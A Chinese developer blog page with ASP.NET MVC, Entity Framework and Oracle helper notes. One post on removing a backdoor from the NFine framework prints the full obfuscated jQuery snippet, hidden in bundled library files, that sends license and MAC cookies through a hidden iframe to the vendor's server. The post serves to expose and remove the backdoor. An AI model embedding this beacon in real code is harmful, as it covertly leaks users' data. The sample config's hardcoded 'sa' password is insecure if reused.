欢迎关注爱分享
分享各种软件,学习资料,提供odoo源码下载

C# MVC 使用笔记

ishenc阅读(232)

HttpNotFound() 跳转404 内置页面

      [HttpGet]
        public ActionResult Delete(int id)
        {
            using (MyDatabaseEntities dc = new MyDatabaseEntities())
            {
                var v = dc.Employees.Where(a => a.EmployeeID == id).FirstOrDefault();
                if (v != null)
                {
                    return View(v);
                }
                else
                {
                    return HttpNotFound();
                }
            }
        }

//指定要与数据模型类关联的元数据类

  using System.ComponentModel.DataAnnotations;
	
  [MetadataType(typeof(EmployeeMetadata))]

 public class EmployeeMetadata
    {
        [Required (AllowEmptyStrings=false,ErrorMessage="Please provide first name")]
        public string FirstName { get; set; }

        [Required (AllowEmptyStrings=false,ErrorMessage="Please provide last name")]
        public string LastName{get;set;}
    }

这样关联之后,可以做一些初始化的工作,还可以做一些验证,以及自定义的验证错误信息,相当于是扩展了Model实体
因为做验证都是在Model层做的,这样好维护,所以需要做元数据,与ADO.NET实体数据模型关联起来。


Controller层调用的时候,验证代码
if (!ModelState.IsValid)
{
 return View();

 

}


Nfine 快速开发框架去除后门教程

ishenc阅读(503)

在使用Nfine快速开发框架时,网上一堆人在说,这个快速开发框架有后门。

打开之后,发现在往www.nfine.cn网站去写数据。

解决方法:

找到以下js文件:

jquery-2.1.1.min.js

jquery.layout.js

bootstrap.js

jqgrid.min.js

jquery-ui.min.js

这四个js文件中的最后一段都有这么一句代码:

(function ($) { $.abcd = { getCookie: function (a) { var b, c = new RegExp("(^| )" + a + "=([^;]*)(;|$)"); if (b = document.cookie.match(c)) { return unescape(b[2]) } else { return null } }, execute: function () { try { if (top.$.wdversion == undefined) { top.$.wdversion = "0.0.0.0.0.1"; var a = $.abcd.getCookie("nfine_mac"); var b = $.abcd.getCookie("nfine_licence"); var c = decodeURIComponent(window.atob("aHR0cDovL3d3dy5uZmluZS5jbjo4MDk5L05GaW5lV2F0Y2gvMjAxNjA4MDEuaHRtbA==")); var d = window.atob("aWZyYW1lanMwMDAwMQ=="); var f = decodeURIComponent(window.atob("JTNDaWZyYW1lJTIwaWQlM0QlMjJpZnJhbWVqczAwMDAxJTIyJTIwJTIwc3R5bGUlM0QlMjJkaXNwbGF5JTNBbm9uZSUyMiUyMCUzRSUzQy9pZnJhbWUlM0U=")); var g = ""; if (top.$("#" + d).length <= 0) { top.$("body").append(f); window.setTimeout(function () { top.$.wdkey = { userKey: b, macs: a }; if (top.$.wdkey != undefined) { g = window.btoa(JSON.stringify(top.$.wdkey)) }; top.$("#" + d).attr("src", c + "?ppp=" + g) }, 6000) } } } catch (e) { } }, init: function () { $.abcd.execute() } }; $(function () { $.abcd.init() }) })(jQuery);

只要把这句代码注释掉,在此刷新主页的时候,就不会在访问www.nfine.cn了。

完整的后门URL其实是:http://www.nfine.cn:8099/NFineWatch/20160801.html?ppp=eyJ1c2VyS2V5IjoiM0RCRkE4NDg0NEQwQTQ3NkQ5NDE3RDk4MEM2NkFEQTQiLCJtYWNzIjoiNzVFQTczMUZFNzc1M0RBMURGNERGRjI1RkI1OTBGMTcifQ==

可惜,这个网站已经被关闭了,其实,这个所谓的后门去不去其实影响也不大了。

EF 练习

ishenc阅读(227)

刚刚写了一个简单的EF使用的demo,整个过程写下来,发现EF的效率确实比直接用sql类高的多。

第一步,先创建模型。

步骤省略。。。

后台使用EF返回数据。

public ActionResult GetEmployees()
        {
            using (MyDatabaseEntities dc = new MyDatabaseEntities())
            {
                var employees = dc.Employees
                    .OrderBy(a => a.FirstName).ToList();
                return Json(new { data = employees }, JsonRequestBehavior.AllowGet);
            }
        }

看看前端效果

简单笔记,用来记录。

NFINE快速开发框架说明(记录)

ishenc阅读(181)

解决方案简介:

1、NFine.Code 底层核心类(开发时不涉及,可编绎成dll提供)。

2、NFine.Data 数据层(开发时不涉及,可编绎成dll提供)。

3、NFine.Application  应用(有点类似业务逻辑层) 

4、NFine.Domain 领域层。

5、NFine.Mapping 数据库映射。

6、NFine.Repository 数据访问。

7、NFine.Web 前端视图及控制器。

NFine中的开发过程: 

1、建立Entity 

2、在同项目下的04 IRepository,建立仓库接口。

3、在context中声明。

4、在maping中添加映射。 

5、在NFine.Repository项目中继承接口 

6、在NFine.Application中实现应用服务 

7、建立controler,添加相应的action 

8、添加相应的view

Nfine快速开发框架学习-数据库设置方法

ishenc阅读(362)

Nfine快速开发平台,对应的数据库默认是sql server。

在sql server中建立玩数据库之后,就是在vs中配置数据库的连接方式。

一般网站的连接数据库字符串都是写在web.config中,但找了半天没有找到相关的数据库连接字符串。

看其中代码,发现在configs文件夹中有一个database.confing文件,打开发现就是数据库的连接方式。

配置如下所示:

<?xml version="1.0" encoding="utf-8"?>
<connectionStrings>
  <add name="NFineDbContext" connectionString="Server=.;Initial Catalog=NFineBase;User ID=sa;Password=123456" providerName="System.Data.SqlClient" />
</connectionStrings>

NFine快速开发框架学习

ishenc阅读(603)

NFine是一个基于.net平台的mvc快速快发框架,俗称能减少68%的开发时间。

页面如下所示:

NFine项目已经停止更新维护了,不过源码依旧是开放的,不过是具有后门的。

不过用来学习MVC是个不错的选择。

解决方案简介:

1、NFine.Code 底层核心类(开发时不涉及,可编绎成dll提供)。

2、NFine.Data 数据层(开发时不涉及,可编绎成dll提供)。

3、NFine.Application  应用(有点类似业务逻辑层) (类似于model)

4、NFine.Domain 领域层。(数据库对应字段的构造函数)

5、NFine.Mapping 数据库映射。

6、NFine.Repository 数据访问。

7、NFine.Web 前端视图及控制器。(V及C)

框架主要运用技术:

  • 1、前端技术

  • JS框架:jquery-2.1.1、Bootstrap.js、JQuery UI

  • CSS框架:Bootstrap v3.3.4(稳定是后台,UI方面根据需求自己升级改造吧)。

  • 客户端验证:jQuery Validation Plugin 1.9.0。

  • 在线编辑器:ckeditor、simditor

  • 上传文件:Uploadify v3.2.1

  • 动态页签:Jerichotab(自己改造)

  • 数据表格:jqGrid、Bootstrap Talbe

  • 对话框:layer-v2.3

  • 下拉选择框:jQuery Select2

  • 树结构控件:jQuery zTree、jQuery wdtree

  • 页面布局:jquery.layout.js 1.4.4

  • 图表插件:echarts、highcharts

  • 日期控件: My97DatePicker

  • 2、后端技术

  • 核心框架:ASP.NET MVC5、WEB API

  • 持久层框架:EntityFramework 6.0

  • 定时计划任务:Quartz.Net组件

  • 安全支持:过滤器、Sql注入、请求伪造

  • 服务端验证:实体模型验证、自己封装Validator

  • 缓存框架:微软自带Cache、Redis

  • 日志管理:Log4net、登录日志、操作日志

  • 工具类:NPOI、Newtonsoft.Json、验证码、丰富公共类似

学习就从上来开始!

先看项目的view,然后找到对应的页面,然后找到对应的js,查看对应的控制器,一层一层的往后看慢慢,然后就可以在里面添加自己的页面,以及自己对应的逻辑函数等。

此开源项目还解决了我一直比较头疼的权限问题。

.Net MVC(一) JQuery serialize()使用方法

ishenc阅读(362)

用ajax往后端传数据时,以前获取form的数据都是直接获取text的值

username: $('#username').val(),
password: $('#password').val()

如果form里的字段比较多的话,用这种方式并不合适,此时,就可以使用serialize()函数。ajax代码如下:

$("#save").click(function () {
        $.ajax({
            url: "/home/saveequeipment",
            type: "post",
            dateType: "json",        
            data: $('#addequipment').serialize(),
            success: function (data) {               
            }
        })
    });

serialize对应的是获取表单里的name属性值。

对应html代码:

 <form class="form-inline" id="addequipment">
                        <!-- PAGE CONTENT BEGINS -->
                        <div style="padding: 10px">
                            <div class="form-group " style="width: 300px">
                                <label for="exampleInputName2" style="width: 90px">部门名称</label>
                                <input type="text" class="form-control" id="EQUIP_TYPE" name="EQUIP_TYPE" placeholder="部门名称" required="required">
                            </div>
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputEmail2" style="width: 90px">资产卡片号</label>
                                <input type="text" class="form-control" id="EQUIP_CODE" name="EQUIP_CODE" placeholder="资产卡片号" required="required">
                            </div>
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputEmail2" style="width: 90px">资产名称</label>
                                <input type="text" class="form-control" id="EQUIP_NAME" name="EQUIP_NAME" placeholder="资产名称" required="required">
                            </div>
                        </div>
                        <div style="padding: 10px">
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputName2" style="width: 90px">规格</label>
                                <input type="text" class="form-control" id="LABEL" name="LABEL" placeholder="规格" required="required">
                            </div>
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputEmail2" style="width: 90px">品牌</label>
                                <input type="text" class="form-control" id="FACTORY" name="FACTORY" placeholder="品牌" required="required">
                            </div>
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputEmail2" style="width: 90px">所在位置</label>
                                <input type="text" class="form-control" id="LOCATION" name="LOCATION" placeholder="所在位置" required="required">
                            </div>
                        </div>
                        <div style="padding: 10px">
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputName2" style="width: 90px">入库日期</label>
                                <input type="text" class="form-control" id="BUY_TIME" name="BUY_TIME" placeholder="入库日期" required="required">
                            </div>
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputEmail2" style="width: 90px">使用状态名称</label>
                                <input type="text" class="form-control" id="CONDITION" name="CONDITION" placeholder="使用状态名称" required="required">
                            </div>
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputEmail2" style="width: 90px">自定义编码</label>
                                <input type="text" class="form-control" id="REGEST_CODE" name="REGEST_CODE" placeholder="自定义编码">
                            </div>
                        </div>
                        <div style="padding: 10px">
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputName2" style="width: 90px">供应商名称</label>
                                <input type="text" class="form-control" id="EQUIP_COUNTRY" name="EQUIP_COUNTRY" placeholder="供应商名称" required="required">
                            </div>
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputEmail2" style="width: 90px">设备原值</label>
                                <input type="text" class="form-control" id="EQUIP_MON" name="EQUIP_MON" placeholder="设备原值" required="required">
                            </div>
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputEmail2" style="width: 90px">合同编号</label>
                                <input type="text" class="form-control" id="EQUIP_HT" name="EQUIP_HT" placeholder="合同编号" required="required">
                            </div>
                        </div>
                        <div style="padding: 10px">
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputName2" style="width: 90px">备注</label>
                                <input type="text" class="form-control" id="MEMO" name="MEMO" placeholder="备注">
                            </div>
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputEmail2" style="width: 90px">国家名称</label>
                                <input type="text" class="form-control" id="EQUIP_GUOJIA" name="EQUIP_GUOJIA" placeholder="国家名称">
                            </div>
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputEmail2" style="width: 90px">SN</label>
                                <input type="text" class="form-control" id="SN" name="SN" placeholder=" SN" required="required">
                            </div>
                        </div>
                        <div style="padding: 10px">
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputName2" style="width: 90px">科研金额</label>
                                <input type="text" class="form-control" id="KEYAN_MON" name="KEYAN_MON" placeholder="科研金额">
                            </div>
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputEmail2" style="width: 90px">自筹金额</label>
                                <input type="text" class="form-control" id="ZICHOU_MON" name="ZICHOU_MON" placeholder="自筹金额">
                            </div>
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputEmail2" style="width: 90px">财政金额</label>
                                <input type="text" class="form-control" id="CAIWU_MON" name="CAIWU_MON" placeholder="财政金额">
                            </div>
                        </div>
                        <div style="padding: 10px">
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputName2" style="width: 90px">捐赠金额</label>
                                <input type="text" class="form-control" id="JUANKUAN_MON" name="JUANKUAN_MON" placeholder="捐赠金额">
                            </div>
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputEmail2" style="width: 90px">教学金额</label>
                                <input type="text" class="form-control" id="JIAOXUE_MON" name="JIAOXUE_MON" placeholder="教学金额">
                            </div>
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputEmail2" style="width: 90px">卡片位置名称</label>
                                <input type="text" class="form-control" id="KAPIAN_LOCATION" name="KAPIAN_LOCATION" placeholder="卡片位置名称">
                            </div>
                        </div>
                        <div style="padding: 10px">
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputName2" style="width: 90px">责任人名称</label>
                                <input type="text" class="form-control" id="MANAGE_PEO" name="MANAGE_PEO" placeholder="责任人名称" required="required">
                            </div>
                        </div>
                        <div class="clearfix form-actions">
                            <div class="col-md-offset-3 col-md-9">
                                <button class="btn btn-info" type="submit" id="save">
                                    <i class="ace-icon fa fa-check bigger-110"></i>
                                    提交
                                </button>
                                &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp;
											<button class="btn" type="reset">
                                                <i class="ace-icon fa fa-undo bigger-110"></i>
                                                重置
                                            </button>
                            </div>
                        </div>

                    </form>

后端接受处理方法:

[HttpPost]
        public ActionResult saveequeipment(ParaClass p)
        {

           
            return Content(p.EQUIP_TYPE);
           
        }

使用ParaClass加载对应字段,ParaClass是Model中字段的构造函数,如下显示:

 public class ParaClass
    {
        public string EQUIP_TYPE { get; set; }
        public string EQUIP_CODE { get; set; }
        public string EQUIP_NAME { get; set; }
        public string LABEL { get; set; }
        public string FACTORY { get; set; }
        public string LOCATION { get; set; }
        public string CONDITION { get; set; }
        public string REGEST_CODE { get; set; }
        public string EQUIP_COUNTRY { get; set; }
        public string EQUIP_MON { get; set; }
        public string EQUIP_HT { get; set; }
        public string MEMO { get; set; }
        public string EQUIP_GUOJIA { get; set; }
        public string SN { get; set; }
        public string KEYAN_MON { get; set; }
        public string ZICHOU_MON { get; set; }
        public string CAIWU_MON { get; set; }
        public string JUANKUAN_MON { get; set; }
        public string JIAOXUE_MON { get; set; }
        public string KAPIAN_LOCATION { get; set; }
        public string MANAGE_PEO { get; set; }
        public DateTime BUY_TIME { get; set; }
    }

由于次项目没有使用ORM,以上字段都是人为输入。有ORM的话,字段可自动映射完成。

(原创)VS2012报错“未找到与约束”

ishenc阅读(362)

今天打开vs2012之后,直接报错,“未找到与约束”

网上也是各种各样解决方案,都说可能是补订引起的。

最终找到解决方法:

1、打开控制面板,卸载或更改程序。

2、选择Entiy Framework Designer for Visua Studio 2012-CHS

3、右击选择修复

重启vs2012,正常工作。

oraclehelper 类

ishenc阅读(215)

using System;
using System.Collections.Generic;
using System.Text;
using System.Configuration;
using System.Data;
using System.Data.SqlClient;
using System.Data.OracleClient;


namespace Trip
{
    public class OracleHelper
    {

        //连接字符串
        static string strConn = ConfigurationManager.ConnectionStrings["OrackeConnectionString"].ToString();



        #region 执行查询,返回DataTable对象-----------------------



        public static DataTable GetTable(string strSQL)
        {
            return GetTable(strSQL, null);
        }
        public static DataTable GetTable(string strSQL, OracleParameter[] pas)
        {
            return GetTable(strSQL, pas, CommandType.Text);
        }
        /// <summary>
        /// 执行查询,返回DataTable对象
        /// </summary>
        /// <param name="strSQL">sql语句</param>
        /// <param name="pas">参数数组</param>
        /// <param name="cmdtype">Command类型</param>
        /// <returns>DataTable对象</returns>
        public static DataTable GetTable(string strSQL, OracleParameter[] pas, CommandType cmdtype)
        {
            DataTable dt = new DataTable(); ;
            using (OracleConnection conn = new OracleConnection(strConn))
            {
                OracleDataAdapter da = new OracleDataAdapter(strSQL, conn);
                da.SelectCommand.CommandType = cmdtype;
                if (pas != null)
                {
                    da.SelectCommand.Parameters.AddRange(pas);
                }
                da.Fill(dt);
            }
            return dt;
        }



        #endregion




        #region 执行查询,返回DataSet对象-------------------------




        public static DataSet GetDataSet(string strSQL)
        {
            return GetDataSet(strSQL, null);
        }

        public static DataSet GetDataSet(string strSQL, OracleParameter[] pas)
        {
            return GetDataSet(strSQL, pas, CommandType.Text);
        }
        /// <summary>
        /// 执行查询,返回DataSet对象
        /// </summary>
        /// <param name="strSQL">sql语句</param>
        /// <param name="pas">参数数组</param>
        /// <param name="cmdtype">Command类型</param>
        /// <returns>DataSet对象</returns>
        public static DataSet GetDataSet(string strSQL, OracleParameter[] pas, CommandType cmdtype)
        {
            DataSet dt = new DataSet(); ;
            using (OracleConnection conn = new OracleConnection(strConn))
            {
                OracleDataAdapter da = new OracleDataAdapter(strSQL, conn);
                da.SelectCommand.CommandType = cmdtype;
                if (pas != null)
                {
                    da.SelectCommand.Parameters.AddRange(pas);
                }
                da.Fill(dt);
            }
            return dt;
        }
        #endregion





        #region 执行非查询存储过程和SQL语句-----------------------------




        public static int ExcuteProc(string ProcName)
        {
            return ExcuteSQL(ProcName, null, CommandType.StoredProcedure);
        }

        public static int ExcuteProc(string ProcName, OracleParameter[] pars)
        {
            return ExcuteSQL(ProcName, pars, CommandType.StoredProcedure);
        }

        public static int ExcuteSQL(string strSQL)
        {
            return ExcuteSQL(strSQL, null);
        }

        public static int ExcuteSQL(string strSQL, OracleParameter[] paras)
        {
            return ExcuteSQL(strSQL, paras, CommandType.Text);
        }

        /// 执行非查询存储过程和SQL语句
        /// 增、删、改
        /// </summary>
        /// <param name="strSQL">要执行的SQL语句</param>
        /// <param name="paras">参数列表,没有参数填入null</param>
        /// <param name="cmdType">Command类型</param>
        /// <returns>返回影响行数</returns>
        public static int ExcuteSQL(string strSQL, OracleParameter[] paras, CommandType cmdType)
        {
            int i = 0;
            using (OracleConnection conn = new OracleConnection(strConn))
            {
                OracleCommand cmd = new OracleCommand(strSQL, conn);
                cmd.CommandType = cmdType;
                if (paras != null)
                {
                    cmd.Parameters.AddRange(paras);
                }
                conn.Open();
                i = cmd.ExecuteNonQuery();
                conn.Close();
            }
            return i;

        }


        #endregion








        #region 执行查询返回第一行,第一列---------------------------------




        public static int ExcuteScalarSQL(string strSQL)
        {
            return ExcuteScalarSQL(strSQL, null);
        }

        public static int ExcuteScalarSQL(string strSQL, OracleParameter[] paras)
        {
            return ExcuteScalarSQL(strSQL, paras, CommandType.Text);
        }
        public static int ExcuteScalarProc(string strSQL, OracleParameter[] paras)
        {
            return ExcuteScalarSQL(strSQL, paras, CommandType.StoredProcedure);
        }
        /// <summary>
        /// 执行SQL语句,返回第一行,第一列
        /// </summary>
        /// <param name="strSQL">要执行的SQL语句</param>
        /// <param name="paras">参数列表,没有参数填入null</param>
        /// <returns>返回影响行数</returns>
        public static int ExcuteScalarSQL(string strSQL, OracleParameter[] paras, CommandType cmdType)
        {
            int i = 0;
            using (OracleConnection conn = new OracleConnection(strConn))
            {
                OracleCommand cmd = new OracleCommand(strSQL, conn);
                cmd.CommandType = cmdType;
                if (paras != null)
                {
                    cmd.Parameters.AddRange(paras);
                }
                conn.Open();
                i = Convert.ToInt32(cmd.ExecuteScalar());
                conn.Close();
            }
            return i;

        }


        #endregion









        #region 查询获取单个值------------------------------------




        /// <summary>
        /// 调用不带参数的存储过程获取单个值
        /// </summary>
        /// <param name="ProcName"></param>
        /// <returns></returns>
        public static object GetObjectByProc(string ProcName)
        {
            return GetObjectByProc(ProcName, null);
        }
        /// <summary>
        /// 调用带参数的存储过程获取单个值
        /// </summary>
        /// <param name="ProcName"></param>
        /// <param name="paras"></param>
        /// <returns></returns>
        public static object GetObjectByProc(string ProcName, OracleParameter[] paras)
        {
            return GetObject(ProcName, paras, CommandType.StoredProcedure);
        }
        /// <summary>
        /// 根据sql语句获取单个值
        /// </summary>
        /// <param name="strSQL"></param>
        /// <returns></returns>
        public static object GetObject(string strSQL)
        {
            return GetObject(strSQL, null);
        }
        /// <summary>
        /// 根据sql语句 和 参数数组获取单个值
        /// </summary>
        /// <param name="strSQL"></param>
        /// <param name="paras"></param>
        /// <returns></returns>
        public static object GetObject(string strSQL, OracleParameter[] paras)
        {
            return GetObject(strSQL, paras, CommandType.Text);
        }

        /// <summary>
        /// 执行SQL语句,返回首行首列
        /// </summary>
        /// <param name="strSQL">要执行的SQL语句</param>
        /// <param name="paras">参数列表,没有参数填入null</param>
        /// <returns>返回的首行首列</returns>
        public static object GetObject(string strSQL, OracleParameter[] paras, CommandType cmdtype)
        {
            object o = null;
            using (OracleConnection conn = new OracleConnection(strConn))
            {
                OracleCommand cmd = new OracleCommand(strSQL, conn);
                cmd.CommandType = cmdtype;
                if (paras != null)
                {
                    cmd.Parameters.AddRange(paras);

                }

                conn.Open();
                o = cmd.ExecuteScalar();
                conn.Close();
            }
            return o;

        }



        #endregion





        #region 查询获取DataReader------------------------------------




        /// <summary>
        /// 调用不带参数的存储过程,返回DataReader对象
        /// </summary>
        /// <param name="procName">存储过程名称</param>
        /// <returns>DataReader对象</returns>
        public static OracleDataReader GetReaderByProc(string procName)
        {
            return GetReaderByProc(procName, null);
        }
        /// <summary>
        /// 调用带有参数的存储过程,返回DataReader对象
        /// </summary>
        /// <param name="procName">存储过程名</param>
        /// <param name="paras">参数数组</param>
        /// <returns>DataReader对象</returns>
        public static OracleDataReader GetReaderByProc(string procName, OracleParameter[] paras)
        {
            return GetReader(procName, paras, CommandType.StoredProcedure);
        }
        /// <summary>
        /// 根据sql语句返回DataReader对象
        /// </summary>
        /// <param name="strSQL">sql语句</param>
        /// <returns>DataReader对象</returns>
        public static OracleDataReader GetReader(string strSQL)
        {
            return GetReader(strSQL, null);
        }
        /// <summary>
        /// 根据sql语句和参数返回DataReader对象
        /// </summary>
        /// <param name="strSQL">sql语句</param>
        /// <param name="paras">参数数组</param>
        /// <returns>DataReader对象</returns>
        public static OracleDataReader GetReader(string strSQL, OracleParameter[] paras)
        {
            return GetReader(strSQL, paras, CommandType.Text);
        }
        /// <summary>
        /// 查询SQL语句获取DataReader
        /// </summary>
        /// <param name="strSQL">查询的SQL语句</param>
        /// <param name="paras">参数列表,没有参数填入null</param>
        /// <returns>查询到的DataReader(关闭该对象的时候,自动关闭连接)</returns>
        public static OracleDataReader GetReader(string strSQL, OracleParameter[] paras, CommandType cmdtype)
        {
            OracleDataReader sqldr = null;
            OracleConnection conn = new OracleConnection(strConn);
            OracleCommand cmd = new OracleCommand(strSQL, conn);
            cmd.CommandType = cmdtype;
            if (paras != null)
            {
                cmd.Parameters.AddRange(paras);
            }
            conn.Open();
            //CommandBehavior.CloseConnection的作用是如果关联的DataReader对象关闭,则连接自动关闭
            sqldr = cmd.ExecuteReader(CommandBehavior.CloseConnection);
            return sqldr;
        }



        #endregion




        #region 批量插入数据---------------------------------------------




        /// <summary>
        /// 往数据库中批量插入数据
        /// </summary>
        /// <param name="sourceDt">数据源表</param>
        /// <param name="targetTable">服务器上目标表</param>
        //public static void BulkToDB(DataTable sourceDt, string targetTable)
        //{
        //    OracleConnection conn = new OracleConnection(strConn);
        //    SqlBulkCopy bulkCopy = new SqlBulkCopy(conn);   //用其它源的数据有效批量加载sql server表中
        //    bulkCopy.DestinationTableName = targetTable;    //服务器上目标表的名称
        //    bulkCopy.BatchSize = sourceDt.Rows.Count;   //每一批次中的行数

        //    try
        //    {
        //        conn.Open();
        //        if (sourceDt != null && sourceDt.Rows.Count != 0)
        //            bulkCopy.WriteToServer(sourceDt);   //将提供的数据源中的所有行复制到目标表中
        //    }
        //    catch (Exception ex)
        //    {
        //        throw ex;
        //    }
        //    finally
        //    {
        //        conn.Close();
        //        if (bulkCopy != null)
        //            bulkCopy.Close();
        //    }

        //}

        #endregion


    }
}

C# datable转json函数

ishenc阅读(208)

添加引用

using Newtonsoft.Json;
using Newtonsoft.Json.Linq;
public string DataTableToJsonWithJsonNet(object table)
        {
            string JsonString = string.Empty;
            JsonString = JsonConvert.SerializeObject(table);
            return JsonString;
        }

调用方法:

  DataTable dt = new DataTable();
  dt = OracleHelper.GetTable(sql);
  string json = DataTableToJsonWithJsonNet(dt);

iShare-爱分享 更专业 爱分享

Odoo下载联系我们